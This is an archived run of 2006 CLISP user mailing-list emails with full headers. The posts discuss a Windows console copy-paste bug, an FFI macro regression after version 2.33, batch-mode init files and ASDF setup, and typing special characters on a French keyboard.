h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=Lw5TDmOKPxDOsCD3DAfBh/yzdCMXajJxvI/FXqqicsjzavGTmleOnBYnmrbFW8rmek3yMQd8rDfODkBPZJSwEdgZv+BqJ209IbA5lvgT0ZEEfOO1lML+FIPSQM0NuMRToir4TWLM5pyyfTzMFZLckXNKk3VC9copWo7Pil4S2kU= ; Message-ID: <20060320182353.59352.qmail@web36914.mail.mud.yahoo.com> Received: from [149.159.1.123] by web36914.mail.mud.yahoo.com via HTTP; Mon, 20 Mar 2006 10:23:53 PST From: nusret Subject: Re: [clisp-list] question on interpreter's handling of line-endin gs on windows To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 21 01:08:01 2006 X-Original-Date: Mon, 20 Mar 2006 10:23:53 -0800 (PST) Yes, the workaround does indeed work. Very strange bug though, I've never seen this before ;-). I would like to second-guess where that L comes from, but I'm not sure it's worth it. Regards. --- "Hoehle, Joerg-Cyril" wrote: > nusret writes: > > >[1]> (set-macro-character > > #\[ #'open-bracket-macro-character) > >*** - EVAL: variable L#[ has no value > > This looks like another instance of the known bug: > win32 console copy&paste yields errors about 'L' > http://sourceforge.net/tracker/index.php?func=detail&aid=1232806&group_id=1355&atid=101355 > > Work-around: Copy&Paste and be sure to move the > mouse at the beginning of the next line, instead of > after the last character you want to copy. > > > Another work-around *might* be for a fellow C hacker > to implement in CLISP'C part for MS-Windows a > variation on UNIX's line buffered input for the > terminal. > > The error in MS-Windows is triggered by CLISP > reading character's from the console one after one, > instead of providing a large buffer. Unbelievable? > Try it out! > Also, if some kind soul want's to provide a bug > report to MS, please go ahead. > I won't, because I don't feel like they'd be > listening to me. > > Regards, > J�rg H�hle. > > > ------------------------------------------------------- > This SF.Net email is sponsored by xPML, a > groundbreaking scripting language > that extends applications into web and mobile media. > Attend the live webcast > and join the prime developer group breaking into > this new coding territory! > http://sel.as-us.falkag.net/sel?cmd=lnk&kid0944&bid$1720&dat1642 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 22 10:48:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FM8NY-0003fB-Ui for clisp-list@lists.sourceforge.net; Wed, 22 Mar 2006 10:48:20 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FM8NX-00077X-Ja for clisp-list@lists.sourceforge.net; Wed, 22 Mar 2006 10:48:21 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 22 Mar 2006 19:47:59 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 22 Mar 2006 19:47:59 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: nbalci_l@yahoo.com Subject: Re: [clisp-list] question on interpreter's handling of line-endin gs on windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 22 10:49:08 2006 X-Original-Date: Wed, 22 Mar 2006 19:47:55 +0100 nusret writes: >Yes, the workaround does indeed work. Very strange bug >though, I've never seen this before ;-). I would like >to second-guess where that L comes from, but I'm not >sure it's worth it. I analysed it further :-) It comes from "lisp.exe", i.e. the command line used to start the = program... IIRC, you can make more characters appear by issuing more read(1byte), = or perhaps read(2bytes). Regards, J=F6rg H=F6hle. From nswart@zoominternet.net Fri Mar 24 15:08:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FMvNv-0001x8-Ls for clisp-list@lists.sourceforge.net; Fri, 24 Mar 2006 15:07:59 -0800 Received: from mx-7.zoominternet.net ([24.154.1.26]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FMvNv-00089l-9Q for clisp-list@lists.sourceforge.net; Fri, 24 Mar 2006 15:07:59 -0800 Received: from mua-2.zoominternet.net (mua-2.zoominternet.net [24.154.1.45]) by mx-7.zoominternet.net (8.12.11/8.12.11) with ESMTP id k2ON7sb8006235 for ; Fri, 24 Mar 2006 18:07:54 -0500 Received: from [192.168.0.4] (dynamic-acs-24-154-248-251.zoominternet.net [24.154.248.251]) by mua-2.zoominternet.net (Postfix) with ESMTP id 6181E7F406 for ; Fri, 24 Mar 2006 18:07:54 -0500 (EST) Message-ID: <44247BC9.8050605@zoominternet.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041121 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.00 () [Tag at 15.00] X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.26 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Post 2.33 CLISP behaviour and FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 27 04:04:26 2006 X-Original-Date: Fri, 24 Mar 2006 18:07:53 -0500 I trekked through all CLISP revisions from 2.33 to 2.38 to see where my problem is - any help/pointer will be appreciated. When I use 2.33 and everything works as expected. From revision 2.34 the code below does not work as expected. In essence, the 'reader' function defined by the def-i/o macro does not work. The 'set' form does not assign the variable that is read from file. This change in behaviour seems to coincide with the change to case insensitive CLISP. The implementation notes also mention the fact that macros may be problematic if different name spaces are used. If it is the case, what do I need to get the expected behaviour (as with 2.33) ? Thank you N Swart. ------------------------------------------- (cd "c:/mingw/home/src/memcut/jacs") (use-package :FFI) (default-foreign-language :stdc) (def-c-struct stform (dir uint8) (jauto uint8) (start uint8) (stop uint8) (maxspd sint16) (meth (c-array uint8 2)) (sname (c-array uint8 14)) (refstep (c-array uint8 2)) (refside (c-array uint8 2)) (valu (c-array sint16 2)) (mtpos sint16)) (def-c-var sequencetab (:name "sequencetab") (:library "jacs.dll") (:type (c-array stform 32)) (:read-only nil)) ;; From 'Successful Common Lisp' (defmacro def-i/o (writer-name reader-name (&rest vars)) (let ((file-name (gensym)) (var (gensym)) (stream (gensym))) `(progn (defun ,writer-name (,file-name) (with-open-file (,stream ,file-name :direction :output :if-exists :supersede) (dolist (,var (list ,@vars)) (declare (special ,@vars)) (print ,var ,stream)))) (defun ,reader-name (,file-name) (with-open-file (,stream ,file-name :direction :input :if-does-not-exist :error) (dolist (,var ',vars) (set ,var (read ,stream))))) t))) (def-i/o save-seq load-seq (sequencetab)) ;;Inits the variable sequencetab in 2.33, but not in subsequent versions ;;of CLISP (load-seq "Mandseq-file") From _deepfire@mail.ru Sun Mar 26 05:44:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FNVY6-0002XW-AR for clisp-list@lists.sourceforge.net; Sun, 26 Mar 2006 05:44:54 -0800 Received: from mx6.mail.ru ([194.67.23.26]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FNVY4-0004Ww-Sr for clisp-list@lists.sourceforge.net; Sun, 26 Mar 2006 05:44:54 -0800 Received: from [80.92.100.69] (port=9155 helo=betelheise.deep.net) by mx6.mail.ru with asmtp id 1FNVY1-0006eQ-00 for clisp-list@lists.sourceforge.net; Sun, 26 Mar 2006 17:44:49 +0400 From: Samium Gromoff <_deepfire@mail.ru> To: clisp-list Content-Type: text/plain Message-Id: <1143466995.4062.61.camel@betelheise.deep.net> Mime-Version: 1.0 X-Mailer: Evolution 2.6.0 Content-Transfer-Encoding: 7bit X-Spam-Score: 2.3 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.3 DATE_IN_FUTURE_12_24 Date: is 12 to 24 hours after Received: date Subject: [clisp-list] common init invocation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 27 04:04:26 2006 X-Original-Date: Mon, 27 Mar 2006 17:43:15 +0400 Good day list, How does one have a CLISP init file which is loaded /every/ time clisp is invoked without -norc ? obviously .clisprc is skipped when clisp is being run in batch mode. Why do i want this? For example, asdf usage is indeed very common nowadays. As it relies on the asdf:*central-registry* to be populated with the list of ASDF locations, which is host-specific, any CLISP batch invocation chokes upon doing a (asdf:oos 'asdf:load-op 'something). regards, Samium Gromoff From pjb@informatimago.com Mon Mar 27 08:36:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FNui7-00024U-AS for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 08:36:55 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FNui5-0006Yx-Lv for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 08:36:55 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 95A40586AD; Mon, 27 Mar 2006 18:36:31 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 16490586AC; Mon, 27 Mar 2006 18:36:30 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 04A0A133785; Mon, 27 Mar 2006 18:36:29 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17448.5261.954593.808883@thalassa.informatimago.com> To: Samium Gromoff <_deepfire@mail.ru> Cc: clisp-list Subject: Re: [clisp-list] common init invocation In-Reply-To: <1143466995.4062.61.camel@betelheise.deep.net> References: <1143466995.4062.61.camel@betelheise.deep.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 27 08:37:09 2006 X-Original-Date: Mon, 27 Mar 2006 18:36:29 +0200 Samium Gromoff writes: > Good day list, > > How does one have a CLISP init file which is loaded /every/ time clisp > is invoked without -norc ? > > obviously .clisprc is skipped when clisp is being run in batch mode. > > Why do i want this? > > For example, asdf usage is indeed very common nowadays. As it relies on > the asdf:*central-registry* to be populated with the list of ASDF > locations, which is host-specific, any CLISP batch invocation chokes > upon doing a (asdf:oos 'asdf:load-op 'something). The problem is that scripts may be put in /usr/local/bin and may be used by any user. All the users should have a ~/.clisprc file compatible with the scripts! This is difficult to ensure. So the best way is to put all initialization inside the script, ( Once upon a time, I had a Makefile with: SCRIPT_NAME=exemple SCRIPT_SOURCES=init.lisp lib1.lisp lib2.lisp main.lisp all:$(SCRIPT_NAME) $(SCRIPT_NAME):$(SCRIPT_SOURCES) @echo '#!/usr/local/bin/clisp -q -ansi' > $@ @cat $(SCRIPT_SOURCES) >> $@ @chmod 755 $@ ) or, if you have a lot of scripts that need the same initialization, put this common initialization file in a common place, and explicitely load it from each script: #!/usr/local/bin/clisp -q -ansi (load "/usr/local/share/clisp/script-init.lisp") ... -- __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From denis.lorrain@cnsmd-lyon.fr Mon Mar 27 12:07:32 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FNxzs-00028l-Hx for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 12:07:28 -0800 Received: from ubaye.cnsm-lyon.fr ([192.134.29.3]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FNxzq-0003nU-SA for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 12:07:28 -0800 Received: from ubaye.cnsm-lyon.fr (localhost [127.0.0.1]) by ubaye.cnsm-lyon.fr (8.13.1/8.13.1/SuSE Linux 0.7) with ESMTP id k2RK6vvu029111 for ; Mon, 27 Mar 2006 22:07:08 +0200 Received: (from wwwrun@localhost) by ubaye.cnsm-lyon.fr (8.13.1/8.13.1/Submit) id k2RK6v5e029110 for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 22:06:57 +0200 Received: from ip-241.net-82-216-133.issy3.rev.numericable.fr (ip-241.net-82-216-133.issy3.rev.numericable.fr [82.216.133.241]) by webmail.cnsm-lyon.fr (IMP) with HTTP for ; Mon, 27 Mar 2006 22:06:57 +0200 Message-ID: <1143490017.442845e17bf94@webmail.cnsm-lyon.fr> From: Denis Lorrain To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 User-Agent: Internet Messaging Program (IMP) 3.2.7 X-Originating-IP: 82.216.133.241 X-BitDefender-Spam: No (0) Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by ubaye.cnsm-lyon.fr id k2RK6vvu029111 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] PC AltGr Characters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 27 12:08:21 2006 X-Original-Date: Mon, 27 Mar 2006 22:06:57 +0200 Hello to all, I have recently started using CLISP on a Windows PC. Could somebody tell me how one can TYPE, IN THE INTERPRETER WINDOW, such characters as # \ { [ | ^ @ ] } On my french keyboard, these are typed with the key, or combination. It only works for ~ ` (tilde and back-quote) which one can get so to speak "by typing a space under". Sorry for such a stupid question, but I'd like to type at least # \ | @ once in a while, in order to improvise some live examples during my teaching... Many thanks in advance, DLO -- Denis Lorrain SONVS - CNSMD de Lyon 3, Quai Chauveau / C.P. 120 69266 Lyon Cedex 09 France =3D=3D ** M=E9l: denis.lorrain@cnsmd-lyon.fr ** ** Fax: +33/(0)4-72-19-26-00 ** T=E9l: +33/(0)4-72-19-26-26 / +33/(0)4-72-19-26-23 http://www.cnsmd-lyon.fr =3D=3D ** De pr=E9f=E9rence/Preferably -- ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From pjb@informatimago.com Mon Mar 27 20:05:22 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FO5SM-0006Pl-9r for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 20:05:22 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FO5SJ-0002af-Dz for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 20:05:22 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 85E4A586A3; Tue, 28 Mar 2006 06:05:11 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 70596585D4; Tue, 28 Mar 2006 06:05:09 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4861D133785; Tue, 28 Mar 2006 06:05:09 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17448.46581.241884.495623@thalassa.informatimago.com> To: Samium Gromoff <_deepfire@mail.ru> Cc: pjb@informatimago.com, clisp-list Subject: Re: [clisp-list] common init invocation In-Reply-To: <1143592445.4062.91.camel@betelheise.deep.net> References: <1143466995.4062.61.camel@betelheise.deep.net> <17448.5261.954593.808883@thalassa.informatimago.com> <1143592445.4062.91.camel@betelheise.deep.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 27 20:06:09 2006 X-Original-Date: Tue, 28 Mar 2006 06:05:09 +0200 Samium Gromoff writes: > On Mon, 2006-03-27 at 18:36 +0200, Pascal Bourguignon wrote: > > Samium Gromoff writes: > > [snip] > > > The problem is that scripts may be put in /usr/local/bin and may be > > used by any user. All the users should have a ~/.clisprc file > > compatible with the scripts! This is difficult to ensure. > > I think, scripts put in /usr/local/bin can have -norc in their > #! header line. Does it solve the problem, or i`m misunderstanding > something? This is a question of what is the best default. IMO, the best default is what is currently implemented. > > So the best way is to put all initialization inside the script, > > Sometimes putting all initialization inside the script doesn`t make > sense or is even outright impossible. > > Imagine a software package depending on some ASDF modules. > > (Here depending means doing (asdf:oo 'asdf:load-op 'somemodule-1) etc.) > > Imagine then that some user downloads this software package, but doesn`t > have all of the ASDF modules installed system-wide. > > So what he does is, he downloads these modules, and puts them somewhere > like /home/me/cl/systems/. > > Now all he has to do is to tell ASDF where it can find these modules. > > And suddenly without some form of an init file this becomes a problem > you need to solve for _every_ lisp software package, individually. > Most likely, by changing its source. Indeed this is a big deployment problem. That's one thing that's sure, after my experience, is that you don't want a script that works well the day you install it, to suddently break because some user installed some new version of an ASDF package. We're speaking here of production scripts, used to maintain important servers running. The scripts must be stand alone. If they need some ASDF library, then it should be deployed along the script. Even my proposed solution to have a shared init file is good only if you're prepared to run regression test on all the scripts you've installed ever everytime you update it or its dependences. For scripts with more dependencies, the only valid way to deploy them in production is to save an image. > I am not making it up -- you can see that usage of the init file is > what is recommended in the ASDF manual: > > > The variable asdf:*central-registry* is a list of "system directory > > designators"1. A system directory designator is a form which will be > > evaluated whenever a system is to be found, and must evaluate to a > > directory to look in. You might want to set *central-registry* in your > > Lisp init file, for example: > > > > > > (setf asdf:*central-registry* > > '(*default-pathname-defaults* > > #p"/home/me/cl/systems/" > > #p"/usr/share/common-lisp/systems/")) "You *might* want", and "*your* lisp init file". > > ( Once upon a time, I had a Makefile with: > > > > SCRIPT_NAME=exemple > > SCRIPT_SOURCES=init.lisp lib1.lisp lib2.lisp main.lisp > > all:$(SCRIPT_NAME) > > $(SCRIPT_NAME):$(SCRIPT_SOURCES) > > @echo '#!/usr/local/bin/clisp -q -ansi' > $@ > > @cat $(SCRIPT_SOURCES) >> $@ > > @chmod 755 $@ > > ) > > > > or, if you have a lot of scripts that need the same initialization, > > put this common initialization file in a common place, and explicitely > > load it from each script: > > > > #!/usr/local/bin/clisp -q -ansi > > (load "/usr/local/share/clisp/script-init.lisp") > > ... > > Probably this might be ok for software i write. But it also means that > i`ll need to modify /all/ software using ASDF, with my > site-and-user-specific script initialisation. Perhaps you should cite specifics, because if you need to deploy some software that's distributed as an ASDF system, you'd better check that it doesn't depend on anything else, or that it builds an installable image or set that doesn't depend on anything else. It's really too easy to use ASDF-INSTALL:INSTALL to update to an incompatible version of an ASDF system that will break your production environment. -- __Pascal Bourguignon__ http://www.informatimago.com/ PLEASE NOTE: Some quantum physics theories suggest that when the consumer is not directly observing this product, it may cease to exist or will exist only in a vague and undetermined state. From _deepfire@mail.ru Mon Mar 27 16:35:49 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FO2BZ-0006y3-3v for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 16:35:49 -0800 Received: from mx5.mail.ru ([194.67.23.25]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FO2BX-0003JS-If for clisp-list@lists.sourceforge.net; Mon, 27 Mar 2006 16:35:49 -0800 Received: from [80.92.100.69] (port=18832 helo=betelheise.deep.net) by mx5.mail.ru with asmtp id 1FO2BS-000Pzi-00; Tue, 28 Mar 2006 04:35:42 +0400 Subject: Re: [clisp-list] common init invocation From: Samium Gromoff <_deepfire@mail.ru> To: pjb@informatimago.com, clisp-list In-Reply-To: <17448.5261.954593.808883@thalassa.informatimago.com> References: <1143466995.4062.61.camel@betelheise.deep.net> <17448.5261.954593.808883@thalassa.informatimago.com> Content-Type: text/plain Message-Id: <1143592445.4062.91.camel@betelheise.deep.net> Mime-Version: 1.0 X-Mailer: Evolution 2.6.0 Content-Transfer-Encoding: 7bit X-Spam-Score: 2.3 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.3 DATE_IN_FUTURE_12_24 Date: is 12 to 24 hours after Received: date Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 28 00:44:04 2006 X-Original-Date: Wed, 29 Mar 2006 04:34:05 +0400 On Mon, 2006-03-27 at 18:36 +0200, Pascal Bourguignon wrote: > Samium Gromoff writes: [snip] > The problem is that scripts may be put in /usr/local/bin and may be > used by any user. All the users should have a ~/.clisprc file > compatible with the scripts! This is difficult to ensure. I think, scripts put in /usr/local/bin can have -norc in their #! header line. Does it solve the problem, or i`m misunderstanding something? > So the best way is to put all initialization inside the script, Sometimes putting all initialization inside the script doesn`t make sense or is even outright impossible. Imagine a software package depending on some ASDF modules. (Here depending means doing (asdf:oo 'asdf:load-op 'somemodule-1) etc.) Imagine then that some user downloads this software package, but doesn`t have all of the ASDF modules installed system-wide. So what he does is, he downloads these modules, and puts them somewhere like /home/me/cl/systems/. Now all he has to do is to tell ASDF where it can find these modules. And suddenly without some form of an init file this becomes a problem you need to solve for _every_ lisp software package, individually. Most likely, by changing its source. I am not making it up -- you can see that usage of the init file is what is recommended in the ASDF manual: > The variable asdf:*central-registry* is a list of "system directory > designators"1. A system directory designator is a form which will be > evaluated whenever a system is to be found, and must evaluate to a > directory to look in. You might want to set *central-registry* in your > Lisp init file, for example: > > > (setf asdf:*central-registry* > '(*default-pathname-defaults* > #p"/home/me/cl/systems/" > #p"/usr/share/common-lisp/systems/")) > ( Once upon a time, I had a Makefile with: > > SCRIPT_NAME=exemple > SCRIPT_SOURCES=init.lisp lib1.lisp lib2.lisp main.lisp > all:$(SCRIPT_NAME) > $(SCRIPT_NAME):$(SCRIPT_SOURCES) > @echo '#!/usr/local/bin/clisp -q -ansi' > $@ > @cat $(SCRIPT_SOURCES) >> $@ > @chmod 755 $@ > ) > > or, if you have a lot of scripts that need the same initialization, > put this common initialization file in a common place, and explicitely > load it from each script: > > #!/usr/local/bin/clisp -q -ansi > (load "/usr/local/share/clisp/script-init.lisp") > ... Probably this might be ok for software i write. But it also means that i`ll need to modify /all/ software using ASDF, with my site-and-user-specific script initialisation. respectfully, Samium Gromoff From tsummerall@medialab.com Tue Mar 28 11:35:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FOJyX-0007KB-7j for clisp-list@lists.sourceforge.net; Tue, 28 Mar 2006 11:35:33 -0800 Received: from phobos02.frii.net ([216.17.128.162] helo=mail.frii.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FOJyV-0006NL-TL for clisp-list@lists.sourceforge.net; Tue, 28 Mar 2006 11:35:33 -0800 Received: from Descartes.medialab.com (vtelinet-66-220-244-15.vermontel.net [66.220.244.15]) by mail.frii.com (FRII) with ESMTP id 48D02A46CA for ; Tue, 28 Mar 2006 12:35:16 -0700 (MST) Message-Id: <6.2.3.4.2.20060328142412.0759f700@mail.frii.com> X-Mailer: QUALCOMM Windows Eudora Version 6.2.3.4 To: clisp-list@lists.sourceforge.net From: Thomas Summerall Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Windows copy/paste status? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 28 11:36:08 2006 X-Original-Date: Tue, 28 Mar 2006 14:35:08 -0500 In the 